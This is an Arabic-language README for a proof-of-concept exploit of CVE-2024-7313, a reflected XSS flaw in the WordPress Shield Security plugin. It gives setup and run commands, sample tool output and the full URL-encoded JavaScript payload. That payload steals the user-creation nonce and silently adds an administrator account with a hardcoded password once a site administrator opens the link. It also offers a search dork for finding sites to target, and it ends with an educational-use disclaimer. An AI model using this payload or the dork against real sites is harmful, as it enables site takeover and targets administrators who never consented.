
إثبات مفهوم مخصص حول XSS لإنشاء حساب مدير غير مصرح به عبر إضافة ووردبريس Shield Security < 20.0.6
يحتوي هذا المستودع على سكربت Python (PoC) مصمم لاستغلال ثغرة XSS المنعكسة (Reflected XSS) في إضافة Shield Security لـ WordPress، والتي تؤثر على الإصدارات الأقدم من 20.0.6. تسمح هذه الثغرة (CVE-2024-7313) للمهاجم بإنشاء رابط ضار مخصص للهدف، وعندما ينقر عليه مسؤول الموقع، يقوم الاستغلال بإنشاء حساب مسؤول غير مصرح به عبر XSS. يكتشف السكربت تلقائيًا التثبيتات المعرضة للخطر ويُنشئ حمولة (payload) لاستغلال الثغرة.
requests و beautifulsoup4قم بتثبيت المكتبات المطلوبة باستخدام:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <target_url>
مثال:
python3 exploit.py http://127.0.0.1
بعد إدخال التفاصيل المطلوبة للمستخدم المسؤول الجديد (اسم المستخدم، البريد الإلكتروني، الاسم الأول، اسم العائلة)، سيُنشئ السكربت عنوان URL للحمولة (payload). يمكنك لصق هذا العنوان في متصفحك لتنفيذ هجوم XSS المنعكس، والذي سينشئ مستخدمًا مسؤولًا جديدًا في موقع WordPress.
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // | ___/ #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
Shield Security version is vulnerable. Let's continue.
Enter username: fakename
Enter email: [email protected]
Enter first name: Haxor
Enter last name: test
Using hardcoded password: HaxorStrongAFPassword123!!
Generated XSS Payload URL: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
بمجرد زيارة عنوان URL الخاص بحمولة XSS المُنشأة، سيتم تنفيذ الاستغلال، وسيتم إنشاء مستخدم مسؤول جديد على موقع WordPress المستهدف.
يمكنك الوصول إلى قائمة المساعدة عن طريق تشغيل:
python3 exploit.py -h
لتحديد المواقع التي تستخدم الإضافة المعرضة للخطر، يمكنك استخدام عبارة البحث (dork) التالية:
inurl:"/wp-content/plugins/wp-simple-firewall/"
سيساعدك هذا في العثور على المواقع التي تم تثبيت إضافة Shield Security عليها. يرجى ملاحظة أن رقم الإصدار غير مرئي للعموم، لذلك قد يكون الاختبار اليدوي ضروريًا.
wp-login.php.هذه الأداة مخصصة للأغراض التعليمية فقط ويجب استخدامها فقط في بيئات اختبار الاختراق المصرح بها. الوصول غير المصرح به أو استخدام أنظمة لا تملكها يعد غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة.
هذا المشروع مرخص بموجب رخصة MIT.